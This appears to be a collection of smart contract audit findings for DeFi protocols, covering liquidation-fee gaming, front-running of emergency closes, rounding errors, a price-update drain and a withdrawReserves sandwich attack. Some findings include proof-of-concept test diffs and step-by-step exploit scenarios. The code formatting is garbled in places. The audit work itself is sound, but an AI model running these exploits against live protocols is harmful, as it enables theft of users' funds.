The imbalance approach of distributing the liquidation fee within `setSymbolsPrice` function could be exploited by malicious liquidators to obtain the liquidation fee without completing their tasks and maximizing their gains. While doing so, it causes harm or losses to other parties within the protocols.\\nA PartyA can own a large number of different symbols in its portfolio. To avoid out-of-gas (OOG) errors from occurring during liquidation, the `setSymbolsPrice` function allows the liquidators to inject the price of the symbols in multiple transactions instead of all in one go.\\nAssume that the injection of the price symbols requires 5 transactions/rounds to complete and populate the price of all the symbols in a PartyA's portfolio. Based on the current implementation, only the first liquidator that calls the `setSymbolsPrice` will receive the liquidation fee. Liquidators that call the `setSymbolsPrice` function subsequently will not be added to the `AccountStorage.layout().liquidators[partyA]` listing as Line 88 will only be executed once when the `liquidationType` is still not initialized yet.\\n```\\nFile: LiquidationFacetImpl.sol\\n function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {\\n..SNIP..\\n if (accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.NONE) {\\n accountLayout.liquidationDetails[partyA] = LiquidationDetail({\\n liquidationType: LiquidationType.NONE,\\n upnl: priceSig.upnl,\\n totalUnrealizedLoss: priceSig.totalUnrealizedLoss,\\n deficit: 0,\\n liquidationFee: 0\\n });\\n..SNIP..\\n AccountStorage.layout().liquidators[partyA].push(msg.sender);\\n } else {\\n require(\\n accountLayout.liquidationDetails[partyA].upnl == priceSig.upnl &&\\n accountLayout.liquidationDetails[partyA].totalUnrealizedLoss ==\\n priceSig.totalUnrealizedLoss,\\n "LiquidationFacet: Invalid upnl sig"\\n );\\n }\\n }\\n```\\n\\nA malicious liquidator could take advantage of this by only setting the symbol prices for the first round for each liquidation happening in the protocol. To maximize their profits, the malicious liquidator would call the `setSymbolsPrice` with none or only one (1) symbol price to save on the gas cost. The malicious liquidator would then leave it to the others to complete the rest of the liquidation process, and they will receive half of the liquidation fee at the end of the liquidation process.\\nSomeone would eventually need to step in to complete the liquidation process. Even if none of the liquidators is incentivized to complete the process of setting the symbol prices since they will not receive any liquidation fee, the counterparty would eventually have no choice but to step in to perform the liquidation themselves. Otherwise, the profits of the counterparty cannot be realized. At the end of the day, the liquidation will be completed, and the malicious liquidator will still receive the liquidation fee.
Consider a more balanced approach for distributing the liquidation fee for liquidators that calls the `setSymbolsPrice` function. For instance, the liquidators should be compensated based on the number of symbol prices they have injected.\\nIf there are 10 symbols to be filled up, if Bob filled up 4 out of 10 symbols, he should only receive 40% of the liquidation fee. This approach has already been implemented within the `liquidatePartyB` function via the `partyBPositionLiquidatorsShare` variable. Thus, the same design could be retrofitted into the `setSymbolsPrice` function.
Malicious liquidators could exploit the liquidation process to obtain the liquidation fee without completing their tasks and maximizing their gains. While doing so, many liquidations would be stuck halfway since it is likely that no other liquidators will step in to complete the setting of the symbol prices because they will not receive any liquidation fee for doing so (not incentivized).\\nThis could potentially lead to the loss of assets for various parties:\\nThe counterparty would eventually have no choice but to step in to perform the liquidation themselves. The counterparty has to pay for its own liquidation, even though it has already paid half the liquidation fee to the liquidator.\\nMany liquidations would be stuck halfway, and liquidation might be delayed, which exposes users to greater market risks, including the risk of incurring larger losses or having to exit at an unfavorable price.
```\\nFile: LiquidationFacetImpl.sol\\n function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {\\n..SNIP..\\n if (accountLayout.liquidationDetails[partyA].liquidationType == LiquidationType.NONE) {\\n accountLayout.liquidationDetails[partyA] = LiquidationDetail({\\n liquidationType: LiquidationType.NONE,\\n upnl: priceSig.upnl,\\n totalUnrealizedLoss: priceSig.totalUnrealizedLoss,\\n deficit: 0,\\n liquidationFee: 0\\n });\\n..SNIP..\\n AccountStorage.layout().liquidators[partyA].push(msg.sender);\\n } else {\\n require(\\n accountLayout.liquidationDetails[partyA].upnl == priceSig.upnl &&\\n accountLayout.liquidationDetails[partyA].totalUnrealizedLoss ==\\n priceSig.totalUnrealizedLoss,\\n "LiquidationFacet: Invalid upnl sig"\\n );\\n }\\n }\\n```\\n
Liquidators will not be incentivized to liquidate certain PartyB accounts due to the lack of incentives
medium
Liquidating certain accounts does not provide a liquidation fee to the liquidators. Liquidators will not be incentivized to liquidate such accounts, which may lead to liquidation being delayed or not performed, exposing Party B to unnecessary risks and potentially resulting in greater asset losses than anticipated.\\n```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePartyB(\\n..SNIP..\\n if (uint256(-availableBalance) < accountLayout.partyBLockedBalances[partyB][partyA].lf) {\\n remainingLf =\\n accountLayout.partyBLockedBalances[partyB][partyA].lf -\\n uint256(-availableBalance);\\n liquidatorShare = (remainingLf * maLayout.liquidatorShare) / 1e18;\\n\\n maLayout.partyBPositionLiquidatorsShare[partyB][partyA] =\\n (remainingLf - liquidatorShare) /\\n quoteLayout.partyBPositionsCount[partyB][partyA];\\n } else {\\n maLayout.partyBPositionLiquidatorsShare[partyB][partyA] = 0;\\n }\\n```\\n\\nAssume that the loss of Party B is more than the liquidation fee. In this case, the else branch of the above code within the `liquidatePartyB` function will be executed. The `liquidatorShare` and `partyBPositionLiquidatorsShare` variables will both be zero, which means the liquidators will get nothing in return for liquidating PartyBs\\nAs a result, there will not be any incentive for the liquidators to liquidate such positions.
Considering updating the liquidation incentive mechanism that will always provide some incentive for the liquidators to take the initiative to liquidate insolvent accounts. This will help to build a more robust and efficient liquidation mechanism for the protocols. One possible approach is to always give a percentage of the CVA of the liquidated account as a liquidation fee to the liquidators.
Liquidators will not be incentivized to liquidate those accounts that do not provide them with a liquidation fee. As a result, the liquidation of those accounts might be delayed or not performed at all. When liquidation is not performed in a timely manner, PartyB ended up taking on additional unnecessary risks that could be avoided in the first place if a different liquidation incentive mechanism is adopted, potentially leading to PartyB losing more assets than expected.\\nAlthough PartyBs are incentivized to perform liquidation themselves since it is the PartyBs that take on the most risks from the late liquidation, the roles of PartyB and liquidator are clearly segregated in the protocol design. Only addresses granted the role of liquidators can perform liquidation as the liquidation functions are guarded by `onlyRole(LibAccessibility.LIQUIDATOR_ROLE)`. Unless the contracts are implemented in a manner that automatically grants a liquidator role to all new PartyB upon registration OR liquidation functions are made permissionless, PartyBs are likely not able to perform the liquidation themselves when the need arises.\\nMoreover, the PartyBs are not expected to be both a hedger and liquidator simultaneously as they might not have the skillset or resources to maintain an infrastructure for monitoring their accounts/positions for potential late liquidation.
```\\nFile: LiquidationFacetImpl.sol\\n function liquidatePartyB(\\n..SNIP..\\n if (uint256(-availableBalance) < accountLayout.partyBLockedBalances[partyB][partyA].lf) {\\n remainingLf =\\n accountLayout.partyBLockedBalances[partyB][partyA].lf -\\n uint256(-availableBalance);\\n liquidatorShare = (remainingLf * maLayout.liquidatorShare) / 1e18;\\n\\n maLayout.partyBPositionLiquidatorsShare[partyB][partyA] =\\n (remainingLf - liquidatorShare) /\\n quoteLayout.partyBPositionsCount[partyB][partyA];\\n } else {\\n maLayout.partyBPositionLiquidatorsShare[partyB][partyA] = 0;\\n }\\n```\\n
`emergencyClosePosition` can be blocked
medium
The `emergencyClosePosition` function can be blocked as PartyA can change the position's status, which causes the transaction to revert when executed.\\nActivating the emergency mode can be done either for a specific PartyB or for the entire system. Once activated, PartyB gains the ability to swiftly close positions without requiring users' requests. This functionality is specifically designed to cater to urgent situations where PartyBs must promptly close their positions.\\nBased on the `PartyBFacetImpl.emergencyClosePosition` function, a position can only be "emergency" close if its status is `QuoteStatus.OPENED`.\\n```\\nFile: PartyBFacetImpl.sol\\n function emergencyClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n Quote storage quote = QuoteStorage.layout().quotes[quoteId];\\n require(quote.quoteStatus == QuoteStatus.OPENED, "PartyBFacet: Invalid state");\\n..SNIP..\\n```\\n\\nAs a result, if PartyA knows that emergency mode has been activated, PartyA could pre-emptively call the `PartyAFacetImpl.requestToClosePosition` with minimum possible `quantityToClose` (e.g. 1 wei) against their positions to change the state to `QuoteStatus.CLOSE_PENDING` so that the `PartyBFacetImpl.emergencyClosePosition` function will always revert when triggered by PartyB. This effectively blocks PartyB from "emergency" close the positions in urgent situations.\\nPartyA could also block PartyB "emergency" close on-demand by front-running PartyB's `PartyBFacetImpl.emergencyClosePosition` transaction with the `PartyAFacetImpl.requestToClosePosition` with minimum possible `quantityToClose` (e.g. 1 wei) when detected.\\nPartyB could accept the close position request of 1 wei to revert the quote's status back to `QuoteStatus.OPENED` and try to perform an "emergency" close again. However, a sophisticated malicious user could front-run PartyA to revert the quote's status back to `QuoteStatus.CLOSE_PENDING` again to block the "emergency" close for a second time.
Update the `emergencyClosePosition` so that the "emergency" close can still proceed even if the position's status is `QuoteStatus.CLOSE_PENDING`.\\n```\\nfunction emergencyClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n Quote storage quote = QuoteStorage.layout().quotes[quoteId];\\n// Remove the line below\\n require(quote.quoteStatus == QuoteStatus.OPENED, "PartyBFacet: Invalid state");\\n// Add the line below\\n require(quote.quoteStatus == QuoteStatus.OPENED || quote.quoteStatus == QuoteStatus.CLOSE_PENDING, "PartyBFacet: Invalid state");\\n..SNIP..\\n```\\n
During urgent situations where emergency mode is activated, the positions need to be promptly closed to avoid negative events that could potentially lead to serious loss of funds (e.g. the protocol is compromised, and the attacker is planning to or has started draining funds from the protocols). However, if the emergency closure of positions is blocked or delayed, it might lead to unrecoverable losses.
```\\nFile: PartyBFacetImpl.sol\\n function emergencyClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n Quote storage quote = QuoteStorage.layout().quotes[quoteId];\\n require(quote.quoteStatus == QuoteStatus.OPENED, "PartyBFacet: Invalid state");\\n..SNIP..\\n```\\n
Position value can fall below the minimum acceptable quote value
medium
PartyB can fill a LIMIT order position till the point where the value is below the minimum acceptable quote value (minAcceptableQuoteValue). As a result, it breaks the invariant that the value of position must be above the minimum acceptable quote value, leading to various issues and potentially losses for the users.\\n```\\nFile: LibQuote.sol\\n function closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {\\n..SNIP..\\n if (quote.closedAmount == quote.quantity) {\\n quote.quoteStatus = QuoteStatus.CLOSED;\\n quote.requestedClosePrice = 0;\\n removeFromOpenPositions(quote.id);\\n quoteLayout.partyAPositionsCount[quote.partyA] -= 1;\\n quoteLayout.partyBPositionsCount[quote.partyB][quote.partyA] -= 1;\\n } else if (\\n quote.quoteStatus == QuoteStatus.CANCEL_CLOSE_PENDING || quote.quantityToClose == 0\\n ) {\\n quote.quoteStatus = QuoteStatus.OPENED;\\n quote.requestedClosePrice = 0;\\n quote.quantityToClose = 0; // for CANCEL_CLOSE_PENDING status\\n } else {\\n require(\\n quote.lockedValues.total() >=\\n SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,\\n "LibQuote: Remaining quote value is low"\\n );\\n }\\n }\\n```\\n\\nIf the user has already sent the close request, but partyB has not filled it yet, the user can request to cancel it by calling the `CancelCloseRequest` function. This will cause the quote's status to change to `QuoteStatus.CANCEL_CLOSE_PENDING`.\\nPartyB can either accept the cancel request or fill the close request ignoring the user's request. If PartyB decided to go ahead to fill the close request partially, the second branch of the if-else statement at Line 196 will be executed. However, the issue is that within this branch, PartyB is not subjected to the `minAcceptableQuoteValue` validation check. Thus, it is possible for PartyB to fill a LIMIT order position till the point where the value is below the minimum acceptable quote value (minAcceptableQuoteValue).
If the user sends a close request and PartyB decides to go ahead to fill the close request partially, consider checking if the remaining value of the position is above the minimum acceptable quote value (minAcceptableQuoteValue) after PartyB has filled the position.\\n```\\nfunction closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {\\n ..SNIP..\\n if (quote.closedAmount == quote.quantity) {\\n quote.quoteStatus = QuoteStatus.CLOSED;\\n quote.requestedClosePrice = 0;\\n removeFromOpenPositions(quote.id);\\n quoteLayout.partyAPositionsCount[quote.partyA] -= 1;\\n quoteLayout.partyBPositionsCount[quote.partyB][quote.partyA] -= 1;\\n } else if (\\n quote.quoteStatus == QuoteStatus.CANCEL_CLOSE_PENDING || quote.quantityToClose == 0\\n ) {\\n quote.quoteStatus = QuoteStatus.OPENED;\\n quote.requestedClosePrice = 0;\\n quote.quantityToClose = 0; // for CANCEL_CLOSE_PENDING status\\n// Add the line below\\n \\n// Add the line below\\n require(\\n// Add the line below\\n quote.lockedValues.total() >=\\n// Add the line below\\n SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,\\n// Add the line below\\n "LibQuote: Remaining quote value is low"\\n// Add the line below\\n );\\n } else {\\n require(\\n quote.lockedValues.total() >=\\n SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,\\n "LibQuote: Remaining quote value is low"\\n );\\n }\\n}\\n```\\n
In the codebase, the `minAcceptableQuoteValue` is currently set to 5 USD. There are many reasons for having a minimum quote value in the first place. For instance, if the value of a position is too low, it will be uneconomical for the liquidator to liquidate the position because the liquidation fee would be too small or insufficient to cover the cost of liquidation. Note that the liquidation fee is computed as a percentage of the position value.\\nThis has a negative impact on the overall efficiency of the liquidation mechanism within the protocol, which could delay or stop the liquidation of accounts or positions, exposing users to greater market risks, including the risk of incurring larger losses or having to exit at an unfavorable price.
```\\nFile: LibQuote.sol\\n function closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {\\n..SNIP..\\n if (quote.closedAmount == quote.quantity) {\\n quote.quoteStatus = QuoteStatus.CLOSED;\\n quote.requestedClosePrice = 0;\\n removeFromOpenPositions(quote.id);\\n quoteLayout.partyAPositionsCount[quote.partyA] -= 1;\\n quoteLayout.partyBPositionsCount[quote.partyB][quote.partyA] -= 1;\\n } else if (\\n quote.quoteStatus == QuoteStatus.CANCEL_CLOSE_PENDING || quote.quantityToClose == 0\\n ) {\\n quote.quoteStatus = QuoteStatus.OPENED;\\n quote.requestedClosePrice = 0;\\n quote.quantityToClose = 0; // for CANCEL_CLOSE_PENDING status\\n } else {\\n require(\\n quote.lockedValues.total() >=\\n SymbolStorage.layout().symbols[quote.symbolId].minAcceptableQuoteValue,\\n "LibQuote: Remaining quote value is low"\\n );\\n }\\n }\\n```\\n
Rounding error when closing quote
medium
Rounding errors could occur if the provided `filledAmount` is too small, resulting in the locked balance of an account remains the same even though a certain amount of the position has been closed.\\n```\\nFile: LibQuote.sol\\n function closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n quote.modifyTimestamp = block.timestamp;\\n\\n LockedValues memory lockedValues = LockedValues(\\n quote.lockedValues.cva -\\n ((quote.lockedValues.cva * filledAmount) / (LibQuote.quoteOpenAmount(quote))),\\n quote.lockedValues.mm -\\n ((quote.lockedValues.mm * filledAmount) / (LibQuote.quoteOpenAmount(quote))),\\n quote.lockedValues.lf -\\n ((quote.lockedValues.lf * filledAmount) / (LibQuote.quoteOpenAmount(quote)))\\n );\\n accountLayout.lockedBalances[quote.partyA].subQuote(quote).add(lockedValues);\\n accountLayout.partyBLockedBalances[quote.partyB][quote.partyA].subQuote(quote).add(\\n lockedValues\\n );\\n quote.lockedValues = lockedValues;\\n\\n (bool hasMadeProfit, uint256 pnl) = LibQuote.getValueOfQuoteForPartyA(\\n closedPrice,\\n filledAmount,\\n quote\\n );\\n if (hasMadeProfit) {\\n accountLayout.allocatedBalances[quote.partyA] += pnl;\\n accountLayout.partyBAllocatedBalances[quote.partyB][quote.partyA] -= pnl;\\n } else {\\n accountLayout.allocatedBalances[quote.partyA] -= pnl;\\n accountLayout.partyBAllocatedBalances[quote.partyB][quote.partyA] += pnl;\\n }\\n```\\n\\nIn Lines 157, 159, and 161 above, a malicious user could make the numerator smaller than the denominator (LibQuote.quoteOpenAmount(quote)), and the result will be zero due to a rounding error in Solidity.\\nIn this case, the `quote.lockedValues` will not decrease and will remain the same. As a result, the locked balance of the account will remain the same even though a certain amount of the position has been closed. This could cause the account's locked balance to be higher than expected, and the errors will accumulate if it happens many times.
When the `((quote.lockedValues.cva * filledAmount) / (LibQuote.quoteOpenAmount(quote)))` rounds down to zero, this means that a rounding error has occurred as the numerator is smaller than the denominator. The CVA, `filledAmount` or both might be too small.\\nConsider performing input validation against the `filledAmount` within the `fillCloseRequest` function to ensure that the provided values are sufficiently large and will not result in a rounding error.
When an account's locked balances are higher than expected, their available balance will be lower than expected. The available balance affects the amount that users can withdraw from their accounts. The "silent" increase in their locked values means that the amount that users can withdraw becomes lesser over time, and these amounts are lost due to the errors.
```\\nFile: LibQuote.sol\\n function closeQuote(Quote storage quote, uint256 filledAmount, uint256 closedPrice) internal {\\n QuoteStorage.Layout storage quoteLayout = QuoteStorage.layout();\\n AccountStorage.Layout storage accountLayout = AccountStorage.layout();\\n\\n quote.modifyTimestamp = block.timestamp;\\n\\n LockedValues memory lockedValues = LockedValues(\\n quote.lockedValues.cva -\\n ((quote.lockedValues.cva * filledAmount) / (LibQuote.quoteOpenAmount(quote))),\\n quote.lockedValues.mm -\\n ((quote.lockedValues.mm * filledAmount) / (LibQuote.quoteOpenAmount(quote))),\\n quote.lockedValues.lf -\\n ((quote.lockedValues.lf * filledAmount) / (LibQuote.quoteOpenAmount(quote)))\\n );\\n accountLayout.lockedBalances[quote.partyA].subQuote(quote).add(lockedValues);\\n accountLayout.partyBLockedBalances[quote.partyB][quote.partyA].subQuote(quote).add(\\n lockedValues\\n );\\n quote.lockedValues = lockedValues;\\n\\n (bool hasMadeProfit, uint256 pnl) = LibQuote.getValueOfQuoteForPartyA(\\n closedPrice,\\n filledAmount,\\n quote\\n );\\n if (hasMadeProfit) {\\n accountLayout.allocatedBalances[quote.partyA] += pnl;\\n accountLayout.partyBAllocatedBalances[quote.partyB][quote.partyA] -= pnl;\\n } else {\\n accountLayout.allocatedBalances[quote.partyA] -= pnl;\\n accountLayout.partyBAllocatedBalances[quote.partyB][quote.partyA] += pnl;\\n }\\n```\\n
Consecutive symbol price updates can be exploited to drain protocol funds
medium
Repeatedly updating the symbol prices for the symbols used in Party A's positions mid-way through a liquidation while maintaining the same Party A's UPnL and total unrealized losses leads to more profits for Party B and effectively steals funds from the protocol.\\nThe `setSymbolsPrice` function in the `LiquidationFacetImpl` library is used to set the prices of symbols for Party A's positions. It is called by the liquidator, who supplies the `PriceSig memory priceSig` argument, which contains, among other values, the prices of the symbols as well as the `upnl` and `totalUnrealizedLoss` of Party A's positions.\\nParty A's `upnl` and `totalUnrealizedLoss` values are stored in Party A's liquidation details and enforced to remain the same for consecutive calls to `setSymbolsPrice` via the `require` statement in lines 90-95.\\nHowever, as long as those two values remain the same, the liquidator can set the prices of the symbols to the current market prices (fetched by the Muon app). If a liquidator liquidates Party A's open positions in multiple calls to `liquidatePositionsPartyA` and updates symbol prices in between, Party B potentially receives more profits than they should have.\\nThe git diff below contains a test case to demonstrate the following scenario:\\nGiven the following symbols:\\n`BTCUSDT`\\n`AAVEUSDT`\\nFor simplicity, we assume trading fees are 0.\\nParty A's allocated balance: `100e18 USDT`\\nParty A has two open positions with Party B:\\nID Symbol Order Type Position Type Quantity Price Total Value CVA LF MM Total Locked Leverage\\n1 BTCUSDT LIMIT LONG 100e18 1e18 100e18 25e18 25e18 0 50e18 2\\n2 AAVEUSDT LIMIT LONG 100e18 1e18 100e18 25e18 25e18 0 50e18 2\\nParty A's available balance: 100e18 - 100e18 = 0 USDT\\nNow, the price of `BTCUSDT` drops by 40% to `0.6e18 USDT`. Party A's `upnl` and `totalUnrealizedLoss` are now `-40e18 USDT` and `-40e18 USDT`, respectively.\\nParty A is insolvent and gets liquidated.\\nThe liquidator calls `setSymbolsPrice` for both symbols, setting the price of `BTCUSDT` to `0.6e18 USDT` and the price of `AAVEUSDT` to `1e18 USDT`. The `liquidationDetails` of Party A are as follows:\\nliquidationType: `LiquidationType.NORMAL`\\nupnl: `-40e18 USDT`\\ntotalUnrealizedLoss: `-40e18 USDT`\\ndeficit: 0\\nliquidationFee: `50e18 - 40e18 = 10e18 USDT`\\nThe liquidator first liquidates position 1 -> Party B receives `40e18 USDT` + `25e18 USDT` (CVA) = `65e18 USDT`\\nNow, due to a volatile market, the price of `AAVEUSDT` drops by 40% to `0.6e18 USDT`. The liquidator calls `setSymbolsPrice` again, setting the price of `AAVEUSDT` to `0.6e18 USDT`. `upnl` and `totalUnrealizedLoss` remain the same. Thus the symbol prices can be updated.\\nThe liquidator liquidates position 2 -> Party B receives `40e18 USDT` + `25e18 USDT` (CVA) = `65e18 USDT`\\nParty B received in total `65e18 + 65e18 = 130e18 USDT`, which is `30e18` USDT more than Party A's initially locked balances. Those funds are effectively stolen from the protocol and bad debt.\\nConversely, if both positions had been liquidated in the first call without updating the symbol prices in between, Party B would have received `40e18 + 25e18 = 65e18 USDT`, which Party A's locked balances covered.\\n\\nHow to run this test case:\\nSave git diff to a file named `exploit-liquidation.patch` and run with\\n```\\ngit apply exploit-liquidation.patch\\nnpx hardhat test\\n```\\n
Consider preventing the liquidator from updating symbol prices mid-way of a liquidation process.\\nOr, alternatively, store the number of Party A's open positions in the `liquidationDetails` and only allow updating the symbol prices if the current number of open positions is still the same, effectively preventing the liquidator from updating the symbol prices once a position has been liquidated.
A malicious liquidator can cooperate with Party B and by exploiting this issue during a volatile market, can cause Party B to receive more funds (profits, due to being the counterparty to Party A which faces losses) than it should and steal funds from the protocol.
```\\ngit apply exploit-liquidation.patch\\nnpx hardhat test\\n```\\n
User can perform sandwich attack on withdrawReserves for profit
high
A malicious user could listen to the mempool for calls to `withdrawReserves`, at which point they can perform a sandwich attack by calling `userDeposit` before the withdraw reserves transaction and then `userWithdraw` after the withdraw reserves transaction. They can accomplish this using a tool like flashbots and make an instantaneous profit due to changes in exchange rates.\\nWhen a user deposits or withdraws from the vault, the exchange rate of the token is calculated between the token itself and its dToken. As specified in an inline comment, the exchange rate is calculated like so:\\n```\\n// exchangeRate = (cash + totalBorrows -reserves) / dTokenSupply\\n```\\n\\nwhere `reserves = info.totalReserves - info.withdrawnReserves`. When the owner of the vault calls `withdrawReserves` the withdrawnReserves value increases, so the numerator of the above formula increases, and thus the exchange rate increases. An increase in exchange rate means that the same number of dTokens is now worth more of the underlying ERC20.\\nBelow is a diff to the existing test suite that demonstrates the sandwich attack in action:\\n```\\ndiff --git a/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol b/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol\\nindex a699162..337d1f5 100644\\n--- a/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol\\n@@ -233,6 // Add the line below\\n233,47 @@ contract D3VaultTest is TestContext {\\n assertEq(d3Vault.getTotalDebtValue(address(d3MM)), 1300 ether);\\n }\\n \\n// Add the line below\\n function testWithdrawReservesSandwichAttack() public {\\n// Add the line below\\n // Get dToken\\n// Add the line below\\n (address dToken2,,,,,,,,,,) = d3Vault.getAssetInfo(address(token2));\\n// Add the line below\\n \\n// Add the line below\\n // Approve tokens\\n// Add the line below\\n vm.prank(user1);\\n// Add the line below\\n token2.approve(address(dodoApprove), type(uint256).max);\\n// Add the line below\\n vm.prank(user2);\\n// Add the line below\\n token2.approve(address(dodoApprove), type(uint256).max);\\n// Add the line below\\n vm.prank(user2);\\n// Add the line below\\n D3Token(dToken2).approve(address(dodoApprove), type(uint256).max);\\n// Add the line below\\n\\n// Add the line below\\n // Set user quotas and mint tokens\\n// Add the line below\\n mockUserQuota.setUserQuota(user1, address(token2), 1000 ether);\\n// Add the line below\\n mockUserQuota.setUserQuota(user2, address(token2), 1000 ether);\\n// Add the line below\\n token2.mint(user1, 1000 ether);\\n// Add the line below\\n token2.mint(user2, 1000 ether);\\n// Add the line below\\n\\n// Add the line below\\n // User 1 deposits to allow pool to borrow\\n// Add the line below\\n vm.prank(user1);\\n// Add the line below\\n d3Proxy.userDeposit(user1, address(token2), 500 ether);\\n// Add the line below\\n token2.mint(address(d3MM), 100 ether);\\n// Add the line below\\n poolBorrow(address(d3MM), address(token2), 100 ether);\\n// Add the line below\\n\\n// Add the line below\\n vm.warp(365 days // Add the line below\\n 1);\\n// Add the line below\\n\\n// Add the line below\\n // Accrue interest from pool borrow\\n// Add the line below\\n d3Vault.accrueInterest(address(token2));\\n// Add the line below\\n uint256 reserves = d3Vault.getReservesInVault(address(token2));\\n// Add the line below\\n\\n// Add the line below\\n // User 2 performs a sandwich attack on the withdrawReserves call to make a profit\\n// Add the line below\\n vm.prank(user2);\\n// Add the line below\\n d3Proxy.userDeposit(user2, address(token2), 100 ether);\\n// Add the line below\\n vm.prank(vaultOwner);\\n// Add the line below\\n d3Vault.withdrawReserves(address(token2), reserves);\\n// Add the line below\\n uint256 dTokenBalance = D3Token(dToken2).balanceOf(user2);\\n// Add the line below\\n vm.prank(user2);\\n// Add the line below\\n d3Proxy.userWithdraw(user2, address(token2), dToken2, dTokenBalance);\\n// Add the line below\\n assertGt(token2.balanceOf(user2), 1000 ether);\\n// Add the line below\\n }\\n// Add the line below\\n\\n function testWithdrawReserves() public {\\n vm.prank(user1);\\n token2.approve(address(dodoApprove), type(uint256).max);\\n```\\n
There are a couple of ways this type of attack could be prevented:\\nUser deposits could have a minimum lock time in the protocol to prevent an immediate withdraw. However the downside is the user will still profit in the same manner due to the fluctuation in exchange rates.\\nIncreasing reserves whilst accruing interest could have an equal and opposite decrease in token balance accounting. Every time reserves increase you are effectively taking token value out of the vault and "reserving" it for the protocol. Given the borrow rate is higher than the reserve increase rate, the exchange rate will continue to increase. I think something like the following would work (please note I haven't tested this):\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol b/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol\\nindex 2fb9364..9ad1702 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/new// Remove the line below\\ndodo// Remove the line below\\nv3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol\\n@@ // Remove the line below\\n157,6 // Add the line below\\n157,7 @@ contract D3VaultFunding is D3VaultStorage {\\n uint256 compoundInterestRate = getCompoundInterestRate(borrowRatePerSecond, deltaTime);\\n totalBorrowsNew = borrowsPrior.mul(compoundInterestRate);\\n totalReservesNew = reservesPrior // Add the line below\\n (totalBorrowsNew // Remove the line below\\n borrowsPrior).mul(info.reserveFactor);\\n// Add the line below\\n info.balance = info.balance // Remove the line below\\n (totalReservesNew // Remove the line below\\n reservesPrior);\\n borrowIndexNew = borrowIndexPrior.mul(compoundInterestRate);\\n \\n accrualTime = currentTime;\\n@@ // Remove the line below\\n232,7 // Add the line below\\n233,7 @@ contract D3VaultFunding is D3VaultStorage {\\n uint256 cash = getCash(token);\\n uint256 dTokenSupply = IERC20(info.dToken).totalSupply();\\n if (dTokenSupply == 0) { return 1e18; }\\n// Remove the line below\\n return (cash // Add the line below\\n info.totalBorrows // Remove the line below\\n (info.totalReserves // Remove the line below\\n info.withdrawnReserves)).div(dTokenSupply);\\n// Add the line below\\n return (cash // Add the line below\\n info.totalBorrows).div(dTokenSupply);\\n } \\n \\n /// @notice Make sure accrueInterests or accrueInterest(token) is called before\\n```\\n
An attacker can perform a sandwich attack on calls to `withdrawReserves` to make an instantaneous profit from the protocol. This effectively steals funds away from other legitimate users of the protocol.
```\\n// exchangeRate = (cash + totalBorrows -reserves) / dTokenSupply\\n```\\n
Calls to liquidate don't write down totalBorrows which breaks exchange rate
high
When a pool is liquidated, the `totalBorrows` storage slot for the token in question should be decremented by `debtToCover` in order to keep the exchange rate of the corresponding `pToken` correct.\\nWhen users call `liquidate` to `liquidate` a pool, they specify the amount of debt they want to cover. In the end this is used to write down the borrow amount of the pool in question:\\n```\\nrecord.amount = borrows - debtToCover;\\n```\\n\\nHowever, the `totalBorrows` of the token isn't written down as well (like it should be). The `finishLiquidation` method correctly writes down the `totalBorrows` state.
The `liquidate` method should include the following line to write down the total borrow amount of the debt token being liquidated:\\n```\\ninfo.totalBorrows = info.totalBorrows - debtToCover;\\n```\\n
When a user calls `liquidate` to `liquidate` a pool, the exchange rate of the token (from its pToken) remains high (because the `totalBorrows` for the token isn't decremented). The result is that users that have deposited this ERC20 token are receiving a higher rate of interest than they should. Because this interest is not being covered by anyone the end result is that the last withdrawer from the vault will not be able to redeem their pTokens because there isn't enough of the underlying ERC20 token available. The longer the period over which interest accrues, the greater the incentive for LPs to withdraw early.
```\\nrecord.amount = borrows - debtToCover;\\n```\\n
Anyone can sell other users' tokens as `fromToken`, and get the `toToken`'s themselves due to `decodeData.payer` is never checked.
high
